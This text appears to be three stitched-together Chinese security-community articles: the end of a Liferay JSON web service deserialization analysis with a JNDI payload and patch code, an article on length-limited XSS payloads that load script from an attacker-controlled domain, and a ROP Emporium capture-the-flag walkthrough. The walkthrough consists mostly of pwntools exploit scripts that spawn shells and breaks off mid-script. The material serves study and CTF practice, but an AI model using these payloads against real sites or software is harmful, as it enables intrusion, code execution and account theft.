Most of them are also suitable for this vulnerability，it also depends on
whether it exists in Liferay. Here are the test
`com.mchange.v2.c3p0.JndiRefForwardingDataSource`, use the
service`/expandocolumn/add-column`, because it has `java.lang.Object`
parameter:
Payload is as follows:
cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}
Parsed the parameter type, deserialized the parameter object, and finally
reached the jndi query:
#### Patch Analysis
Liferay patch adds type checking, in
`com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl #
_checkTypeIsAssignable`:
private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {
String parameterTypeName = parameterType.getName();
if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法
throw new IllegalArgumentException("Not instantiating " + parameterTypeName);
} else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验
if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类
throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));
} else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验
if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验
if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中
ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();
if (serviceReferences != null) {
String key = "jsonws.web.service.parameter.type.whitelist.class.names";
ServiceReference[] var7 = serviceReferences;
int var8 = serviceReferences.length;
for(int var9 = 0; var9 < var8; ++var9) {
ServiceReference<Object> serviceReference = var7[var9];
List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));
if (whitelistedClassNames.contains(parameterTypeName)) {
return;
}
}
}
throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");
}
}
}
}
}
`_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES` contains all
whitelist classes in `portal.properties`. Basically, all whitelist classes
start with `com.liferay`.
* * * | 社区文章 |
在很多攻击和测试下执行JavaScript时会发现无法alert，因为alert限制了字符数。研究人员在HackerOne上看到一个相同情况的报告，该作者虽然成功执行了任意JavaScript代码，但是过程比较复杂而且需要用户交互。因此研究人员写了本文。
作者认为XSS的POC应该是从攻击者所控制的域名来加载外部JavaScript，本文讲述如何以最少的字符加载外部JavaScript。
首先假设payload在`href`属性中，也就是说payload被限制在32个字符以内：
`<a href="<INJECTION>">Click</a>`
# **1\. eval(name)**
这可能是可以执行任意代码的最短payload了。Name属性可以分配任何内容，而且是继承跨域的。这样攻击者就可以在没有任何限制的情况下执行payload了，如果页面重写了name属性的情况除外。
POC:
https://attacker.cm2.pw/?xss=<script>name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=<a href="javascript:eval(name)">Click</a>','_self')</script>
Payload长度：21
`'javascript:eval(name)'.length==21`
# **2\. import**
这是取回外部JavaScript的最短payload之一，但只工作在基于chromium的浏览器上。
POC:
https://victim.cm2.pw/?xss=<a href="javascript:import(/\㎠.㎺/)">Click</a>
Payload长度：24
`'javascript:import(/\㎠.㎺/)'.length==24`
# **3\. $.getScript**
这是一个加载外部JavaScript的著名jQuery函数。该脚本取回后是在全局环境下执行的，就像在script标签中加载一样。但这种情况需要在一个有漏洞的页面中已经加载了jQuery。
POC:
https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script><a href="javascript:$.getScript(/\cm2.pw/)">Click</a>
Payload长度：29
`'javascript:$.getScript(/\㎠.㎺/)'.length==29`
# **4\. $.get**
如果返回`content-type`被设置为`text/javascript`，就可以加载和执行外部JavaScript。该漏洞只在jQuery
3.00及以前版本有效。
POC:
https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script><a href="javascript:$.get(/\cm2.pw/)">Click</a>
Payload长度：23
`'javascript:$.get(/\㎠.㎺/)'.length==23`
# **5\. 使用已有的elements和properties**
我们很容易就可以在HTML元素和JavaScript属性中找到用户部分或完全控制的内容。虽然这需要进行仔细地检查，但对输入长度受限的情况下利用XSS是非常有帮助的。比如，很多Ajax驱动的应用会保存`hash
identifier`来进行导航等。
如果页面存储这样的哈希值：
`const hash = document.location.hash;`
可以用这些的脚本来加载：
`eval("'"+hash)`
POC:
https://victim.cm2.pw/?xss=<script>const hash=document.location.hash;</script><a href="javascript:eval(`'`%252bhash)">Click</a>#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)
Payload长度：25
`javascript:eval("'"+hash)`.length==25
还有很多其他的方法可以用来加载外部JavaScript，比如：
* 其他库；
* 使用不同的选择器；
* 使用DOM特性等。
比如，在点击了JavaScript
URI后，Firefox会导航navigation。为了预防navigation，需要引入一个`error`。可以在每个payload后计入`;q`这样的内容，比如：
javascript:eval(name);q
// halts navigation because q is not defined
//因为q没有被定义，因此导航会被终止
最后，需要注意的是也可以在JavaScript URL环境中使用URL编码，比如：
`<a href="javascript:x='%27,alert(1)//">Click</a>`
POC:
https://cm2.pw/?xss=<a href="javascript:x='%2527,alert(1)//">Click</a>
* * *
<https://blog.cm2.pw/length-restricted-xss/> | 社区文章 |
这个萌新向的文章，大佬可以出门左转离开了Orz
这是一个专门给萌新训练rop技巧的网站，题目比较简单同时也可以学到了很多新的有关rop的操作，每道题目都有分32位和64位两种版本的，对32/64位的程序都能得到很好的练习
题目网站：[ropemporium](https://ropemporium.com/)
在做题之前需要先了解一波rop的相关基础理论
rop的全称是：返回导向编程（Return-Oriented Programming）
一般在利用栈溢出的时候会利用到，rop通常是由许多个gadget组成的，而gadget是程序中的一小段指令
比如这种：`pop xxx；ret`即将栈上的值传递给寄存器的一段汇编指令
或者这些：`mov ecx,[eax]; ret` `int 0x80; ret` `leave; ret`
找gadget的时候可以使用[ROPgadget](https://github.com/JonathanSalwan/ROPgadget)这个工具
总的来说，就是把多个gadget串起来，达到寄存器传值，任意地址写，保持栈平衡，调用函数的目的
一般将rop部署在栈的返回地址处，而64位和32位的程序有所有不同，构造rop的时候相应的操作也不一样
* 32位程序的参数是放在栈里面的
* 64 位程序的前六个参数放在 RDI、RSI、RDX、RCX、R8 和 R9 中后续还有多的才放入栈中。
因此32位的程序用gadget一般是为了保持栈的平衡，而64位程序用gadget一般是为了将调用函数的参数放入rdi、rsi、rdx等寄存器中
# 1.ret2win
我们先来看看这题：
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("ret2win by ROP Emporium");
puts("64bits\n");
pwnme("64bits\n", 0LL);
puts("\nExiting");
return 0;
}
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts(
"For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n"
"What could possibly go wrong?");
puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
printf("> ", 0LL);
return fgets(&s, 50, stdin);//漏洞所在
}
int ret2win()
{//未被调用的函数，执行后可以直接得到flag
printf("Thank you! Here's your flag:");
return system("/bin/cat flag.txt");
}
发现fgets函数可读入50个字节，但s的栈空间似乎只有0x20，那么肯定存在栈溢出漏洞
这时只要填满0x20个字符串加上八个字节的ebp，然后加上一个ret2win函数的地址，即可得到flag
exp如下
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./ret2win")
ret2win = 0x400811
payload = 'a'*(0x20+0x08) +p64(ret2win)
p.sendline(payload)
p.interactive()
# 2.ret2win32
题目的描述和64位的基本上是一样的
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("ret2win by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}
char *pwnme()
{
char s; // [esp+0h] [ebp-28h]
memset(&s, 0, 0x20u);
puts(
"For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n"
"What could possibly go wrong?");
puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
printf("> ");
return fgets(&s, 50, stdin);//漏洞所在
}
int ret2win()
{//未被调用的函数，执行后可以直接得到flag
printf("Thank you! Here's your flag:");
return system("/bin/cat flag.txt");
}
exp如下，需要注意的是32位的ebp的大小是4个字节，而64位的程序的ebp是8个字节
#!/usr/bin/python
#coding:utf-8
from pwn import *
p = process("./ret2win32")
ret2win = 0x08048659
payload = 'a'*(0x28+0x04) +p32(ret2win)
p.sendline(payload)
p.interactive()
# 3.split
先来看看从ida反编译的结果
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Contriving a reason to ask user for data...");
printf("> ", 0LL);
return fgets(&s, 96, stdin);//漏洞所在，造成栈溢出
}
int usefulFunction()
{
return system("/bin/ls");
}
这里可以看到，还是存在一个栈溢出的漏洞，但是usefulFunction函数并不能帮助我们拿到flag，那么我们就得自己构造system(xxx)
但参数填什么呢？
IDA中使用快捷键shift+f12可以直接看到程序中的所有字符串
我们发现这里有个有用的字符串可以当做参数
.data:0000000000601060 public usefulString
.data:0000000000601060 usefulString db '/bin/cat flag.txt',0
.data:0000000000601072 db 0
.data:0000000000601073 db 0
.data:0000000000601074 db 0
那我们需要构造的就是：system(/bin/cat flag.txt)
由于这个是64位的程序，rdi是存储函数第一个参数的
因此需要用到pop rdi；ret这个gadget
通过命令：`ROPgadget --binary ./split --only "pop|ret"`找到gadget
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret //这个就是我们所需要的gadget
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret
接着paylode的构造就简单了，填充0x28个字符到返回地址后使用pop_rdi_ret将参数传入rdi寄存器中，接着执行system函数即可
exp如下：
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./split')
catflag = 0x601060
system = 0x4005e0
pop_rdi_ret = 0x400883
payload = 'a'*(0x20 + 0x08) + p64(pop_rdi_ret) +p64(catflag)+p64(system)
p.sendline(payload)
p.interactive()
# 4\. split32
题目的描述和上面64位 的是一样的，只需要主要32位的程序，函数的参数是放在栈上的，那也就不需要使用到gadget，直接覆盖返回地址后再将参数填入栈中即可
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./split32')
catflag = 0x0804a030
system = 0x08048430
payload = 'a'*(0x28+0x04) +p32(system)+'aaaa'+p32(catflag)
p.sendline(payload)
p.interactive()
# 5.callme
从反编译的代码来看：
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Hope you read the instructions...");
printf("> ", 0LL);
return fgets(&s, 256, stdin);
}
void __noreturn usefulFunction()
{
callme_three(4LL, 5LL, 6LL);
callme_two(4LL, 5LL, 6LL);
callme_one(4LL, 5LL, 6LL);
exit(1);
}
除了和之前一样的栈溢出漏洞以外，这个usefulFunction函数显得没有卵用
于是去看看官方的提示：
看来，这题的要求是：依次调用one，two，three函数，参数是1，2，3，这样就可以出flag了，不用去管文件夹中的`encrypted_flag.txt`
`key1.dat` `key2.dat` `libcallme.so`
但也别删除了，会影响题目正常逻辑的
这题的主要考察点是对rop调用函数顺序和设置参数
那根据之前题目中提到的，找好gadget和相关函数的地址，就可以开始写rop的构造了
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./callme')
elf = ELF('./callme')
pop_rdi_ret = 0x00401b23
pop_rsi_rdx_ret = 0x401ab1
callone = 0x401850
calltwo = 0x401870
callthree = 0x401810
#调用callme_one(1,2,3)
payload = 'a'*(0x20 + 0x08)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(callone)
#调用callme_two(1,2,3)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(calltwo)
#调用callme_three(1,2,3)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(callthree)
p.sendline(payload)
p.interactive()
# 6.callme32
原理同上，但与上面64位不同的是，这里的`pop_esi_edi_ebp_ret`并不是传参数的作用，而是为了保持栈的平衡，把p32(1)+p32(2)+p32(3)弹出去，从而实现下一次的rop函数调用
**栈平衡 是指保证压栈操作和弹栈操作要相对应，保证栈指针一直指向所定义的栈空间。**
比如
payload += p32(callone)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
其中pop esi是为了把p32(1)弹出栈，pop edi是为了把p32(2)弹出栈，pop edi是为了把p32(3)弹出栈
最后一个ret指令相当于 pop eip
也就是把栈顶的内容传给eip，从而改变执行流程
在执行之前三次pop后，esp已经指向了p32(calltwo)
这时就可以接着去指向第二段rop从而顺利调用callme_two(1,2,3)
依次类推，执行callme_three(1,2,3)
exp如下：
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./callme32')
pop_esi_edi_ebp_ret = 0x080488a9
callone = 0x080485c0
calltwo = 0x08048620
callthree = 0x080485b0
main = 0x0804873b
payload = 'a'*(0x28 + 0x04)
payload += p32(callone)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
payload += p32(calltwo)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
payload += p32(callthree)+p32(0xdeadbeef)+p32(1)+p32(2)+p32(3)
p.sendline(payload)
p.interactive()
如果对此不太好理解，可以进入gdb一步步跟着调试，可以看清楚具体的流程
# 7.write4
从IDA来看
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("write4 by ROP Emporium");
puts("64bits\n");
pwnme();
puts("\nExiting");
return 0;
}
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Go ahead and give me the string already!");
printf("> ", 0LL);
return fgets(&s, 512, stdin);
}
int usefulFunction()
{
return system("/bin/ls");
}
可以发现，代码和之前的题目没有太多区别，唯一不同的是，我们找不到system的参数了，程序中不再出现'/bin/cat
flag.txt'的参数了，因此我们得自己写参数
但程序中并没有直接写bss段的操作
于是我们需要构造rop来写入一个/bin/sh参数
最后调用system(/bin/sh)
首先找一波可利用的gadget
$ ROPgadget --binary write4 --only "mov|pop|ret"
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret
我们发现，有这两条
`mov qword ptr [r14], r15 ; ret`
`pop r14 ; pop r15 ; ret`
这意味着我们可以通过这两条gadget实现任意地址写，把“/bin/sh\x00”写入bss段中，接着在将参数传入rdi寄存器的时候就传bss的地址就行了
exp如下
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./write4')
pop_rdi_ret = 0x400893
mov_r15_2_r14_ret = 0x400820
pop_r14_r15_ret= 0x400890
bss = 0x601060
binsh = '/bin/sh\x00' #sh\x00\x00\x00\x00\x00\x00也可以，只要在八字节内就行
system = 0x4005e0
payload = 'a'*(0x20+0x08)
payload += p64(pop_r14_r15_ret) + p64(bss) +binsh
payload += p64(mov_r15_2_r14_ret)
payload += p64(pop_rdi_ret) +p64(bss) +p64(system)
p.sendline(payload)
p.interactive()
# 8.write4 32
原理同上，注意binsh参数的长度即可，32位下有四个字节的长度限制
另外在本程序中，间接传至利用的是edi和ebp寄存器
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./write432')
mov_edi_ebp_ret = 0x08048670
pop_edi_ebp_ret = 0x080486da
bss = 0x0804a040
binsh = 'sh\x00\x00' #32位程序仅有四个字节可以写入，所以只能构造system(sh)
#也还可以构造system($0)
system = 0x08048430
payload = 'a'*(0x28+0x04)
payload += p32(pop_edi_ebp_ret)+p32(bss)+binsh
payload += p32(mov_edi_ebp_ret)
payload += p32(system)+p32(0xdeadbeef)+p32(bss)
p.sendline(payload)
p.interactive()
# 9.badchars
这题比较猥琐一点，直接过滤了一些字符不给你输入
unsigned __int64 __fastcall checkBadchars(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 result; // rax
char v3; // [rsp+10h] [rbp-20h]
char v4; // [rsp+11h] [rbp-1Fh]
char v5; // [rsp+12h] [rbp-1Eh]
char v6; // [rsp+13h] [rbp-1Dh]
char v7; // [rsp+14h] [rbp-1Ch]
char v8; // [rsp+15h] [rbp-1Bh]
char v9; // [rsp+16h] [rbp-1Ah]
char v10; // [rsp+17h] [rbp-19h]
unsigned __int64 j; // [rsp+20h] [rbp-10h]
unsigned __int64 i; // [rsp+28h] [rbp-8h]
v3 = 'b';
v4 = 'i';
v5 = 'c';
v6 = '/';
v7 = ' ';
v8 = 'f';
v9 = 'n';
v10 = 's';
j = 0LL;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a2 )
break;
for ( j = 0LL; j <= 7; ++j )
{
if ( *(_BYTE *)(a1 + i) == *(&v3 + j) )
{
*(_BYTE *)(a1 + i) = 0xEBu;
break;
}
}
}
return result;
}
可以看到，如果输入的字符串里面，有“b i c / <空格> f n s”，就会被替换成0xEBu
那么system函数的参数都用不了，就需要别的操作去完成参数的构造
通过查ropgadget，我们发现有这些：
pop_r12_r13_ret = 0x0000000000400b3b
mov_r13_r12_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
pop_rdi_ret=0x0000000000400b39
我们可以对binsh参数先进行异或的加密，从而可以绕过checkBadchars函数
进入函数，完成输入到bss段以后，再用xor的gadget，可以完成对参数的解密
最后再跳转执行system(/bin/sh)
首先需要测出10以内的异或数字：
binsh = '/bin/sh\x00'
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
for x in binsh:
tmp = ord(x) ^ xornum
if tmp in badchar:
xornum += 1
break
if x == "\x00":
print xornum
xornum +=1
if xornum == 10:
break
#检测出2,3,5,9都能用
exp如下
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./badchars")
system = 0x4006f0
bss = 0x601080
pop_r12_r13_ret = 0x0000000000400b3b
mov_r13_r12_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
pop_rdi_ret=0x0000000000400b39
binsh = '/bin/sh\x00'
xorbinsh = ''
for x in binsh:
xorbinsh += chr(ord(x) ^ 2)
payload = 'a'*(0x20+0x08)
payload += p64(pop_r12_r13_ret) + xorbinsh + p64(bss)
payload += p64(mov_r13_r12_ret)
for x in xrange(0,len(xorbinsh)):
payload += p64(pop_r14_r15_ret)
payload += p64(2)
payload += p64(bss + x)
payload += p64(xor_r15_r14_ret)
payload += p64(pop_rdi_ret)
payload += p64(bss)
payload += p64(system)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()
# 10.badchars32
原理同上
#!python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./badchars32")
mov_edi_esi_ret = 0x08048893
pop_esi_edi_ret = 0x08048899
pop_ebx_ecx_ret = 0x08048896
xor_ebx_ecl_ret = 0x08048890
system = 0x080484E0
bss = 0x0804a040
binsh = '/bin/sh\x00'
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xorbinsh = ''
for x in binsh:
xorbinsh += chr(ord(x) ^ 2)
#print xorbinsh
payload = 'a'*(0x28+0x04)
payload += p32(pop_esi_edi_ret)
payload += xorbinsh[0:4] +p32(bss)
payload += p32(mov_edi_esi_ret)
#需要注意的是32位的程序一次只能传4个字节的字符串，因此xorbinsh需要分两次来发送到bss段里面
payload += p32(pop_esi_edi_ret)
payload += xorbinsh[4:8] +p32(bss+4)
payload += p32(mov_edi_esi_ret)
for x in xrange(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx_ret)
payload += p32(bss+x) + p32(2)
payload += p32(xor_ebx_ecl_ret)
payload += p32(system) +p32(0xdeadbeef)+p32(bss)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()
其实这题有非预期解法的，直接调用system($0)也一样可以getshell，完全不用理会检查机制
# 11.fluff
题目的函数设置还是和之前的没有太多的差别
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("You know changing these strings means I have to rewrite my solutions...");
printf("> ", 0LL);
return fgets(&s, 512, stdin);
}
同样的，我们需要写system的参数到bss段，才能成功getshell
查一波可以的gadget，发现：
0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xorbyte ptr [r10], r12b ; ret
0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
这道题有个比较有趣的地方在于，可以用xor进行写入操作，用一个xor自己清空寄存器A，接着让寄存器B去xor寄存器A，把结果存在寄存器A，就相当于把B赋值給A
这也算是gadget进行间接赋值的时候的新思路
这道题的关键点在于非常巧妙地利用了几个gadget，尤其是通过xor进行寄存器赋值的操作是真的很细节
在找ropgadget的时候用上：ROPgadget –binary ./fluff –depth 20 才能找到更多的gadget
exp如下
#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
p = process("./fluff")
system = 0x4005e0
bss = 0x601060
binsh = '/bin/sh\x00'
junk = 'a'*8
gadget1 = 0x40084d
#pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
gadget2 = 0x400822
#xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
gadget3 = 0x40082f
#xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
gadget4 = 0x400840
#xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
gadget5 = 0x400832
#pop r12 ; mov r13d, 0x604060 ; ret
payload = 'a'*(0x20+0x08)
payload += p64(gadget5)
payload += p64(bss)
payload += p64(gadget2) +junk
payload += p64(gadget3) +junk
payload += p64(gadget4) +junk
payload += p64(gadget5)
payload += binsh
payload += p64(gadget2) +junk
payload += p64(gadget3) +junk
payload += p64(gadget1) +p64(bss)+junk +p64(0)
payload += p64(system)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()
需要注意的是，我们利用的gadget并不是每一条都有用，比如
`xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret`
这里的pop r14 ; mov edi, 0x601050并没有作用
我们需要利用的是xor r11, r11
只要其他的不影响解题，我们填充它为无用字符就行了
# 12.fluff32
原理同上，只需要注意分两次写入bss，这是因为32位程序最多四字节传值
当然如果构造system（/sh）写一次就够了
#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
p = process("./fluff32")
bss = 0x0804a040
binsh = "/bin/sh\x00"
system = 0x08048430
junk = "a"*4
gadget1 = 0x08048693
#mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
gadget2 = 0x08048671
#xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
gadget3 = 0x0804867b
#xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
gadget4 = 0x080483e1
# pop ebx ; ret
gadget5 = 0x08048689
#xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
payload = 'a'*(0x28+0x04)
#把bss的地址传给ecx
payload += p32(gadget4)
payload += p32(bss)
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget5)+junk
#把binsh前四个字节写入bss的地址
payload += p32(gadget4)
payload += binsh[0:4]
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget1)+junk+p32(0)
#把bss+4的地址传给ecx
payload += p32(gadget4)
payload += p32(bss+4)
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget5)+junk
#把binsh后四个字节写入bss+4的地址
payload += p32(gadget4)
payload += binsh[4:8]
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget1)+junk+p32(0)
#此时在bss段中已经写好了/bin/sh，然后就调用system函数getshell
payload += p32(system) +p32(0xdeadbeef)+p32(bss)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()
# 13.pivot
这道题有两次输入，第一次输入存入pivot堆的位置，第二次输入存入栈的位置，第二次输入的可溢出大小明显不够用来构造rop链
所以需要用到[栈迁移的操作](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#frame-faking)，这里边描述的够详细了
这道题有给出so文件，其中有这个函数
void __noreturn ret2win()
{
system("/bin/cat flag.txt");
exit(0);
}
在elf中的函数里面只有foothold_function是也出现在so里面的，它还存在elf的got表中
.got.plt:0000000000602048 off_602048 dq offset foothold_function
很明显就是要利用这个foothold函数来进行泄漏libc，从而得到ret2win的真实地址，然后去调用这个ret2win函数
由于这个函数没调用，需要调用一次，got表才会存在真正的地址
因此第一次溢出就要先执行foothold函数
其他的就是找gadget进行构造rop了，但其实text段里面有提示
很明显这个就是一个有用的gadget，剩下的就以这个为线索去找就行了
输入命令 ROPgadget --binary ./pivot --depth 20 配合着--only"xxx"和grep命令去找出这些有用的gadget
0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
0x0000000000400b00 : pop rax ; ret
0x000000000040098e : call rax
0x0000000000400b09 : add rax, rbp ; ret
0x0000000000400900 : pop rbp ; ret
0x0000000000400b02 : xchg rax, rsp ; ret
exp如下：
#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
elf = ELF("./pivot")
libc = ELF("./libpivot.so")
p = process("./pivot")
plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]
libc_foothold_function = libc.symbols["foothold_function"]
libc_ret2win = libc.symbols["ret2win"]
offset = libc_ret2win-libc_foothold_function
mov_rax_rax = 0x0000000000400b05
pop_rax = 0x0000000000400b00
call_rax =0x000000000040098e
add_rax_rbp = 0x0000000000400b09
pop_rbp = 0x0000000000400900
xchg_rax_rsp = 0x0000000000400b02
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap = int(p.recv(14),16)
p.recvuntil("> ")
payload1 = p64(plt_foothold_function)
payload1 += p64(pop_rax)
payload1 += p64(got_foothold_function)
payload1 += p64(mov_rax_rax)
payload1 += p64(pop_rbp)
payload1 += p64(offset)
payload1 += p64(add_rax_rbp)
payload1 += p64(call_rax)
p.sendline(payload1)
p.recvuntil("> ")
payload2 ='a'*(0x20+0x08)
payload2 += p64(pop_rax)
payload2 += p64(heap)
payload2 += p64(xchg_rax_rsp)
p.sendline(payload2)
p.recvuntil("into libpivot.so")
p.interactive()
# 14.pivot32
原理同上
#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
elf = ELF("./pivot32")
libc = ELF("./libpivot32.so")
p = process("./pivot32")
plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]
libc_foothold_function = libc.symbols["foothold_function"]
libc_ret2win = libc.symbols["ret2win"]
offset = libc_ret2win-libc_foothold_function
print offset
mov_eax_eax = 0x080488c4
pop_eax = 0x080488c0
call_eax =0x080486a3
add_eax_ebx = 0x080488c7
pop_ebx = 0x08048571
xchg_eax_esp = 0x080488c2
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap = int(p.recv(10),16)
p.recvuntil("> ")
payload1 = p32(plt_foothold_function)
payload1 += p32(pop_eax)
payload1 += p32(got_foothold_function)
payload1 += p32(mov_eax_eax)
payload1 += p32(pop_ebx)
payload1 += p32(offset)
payload1 += p32(add_eax_ebx)
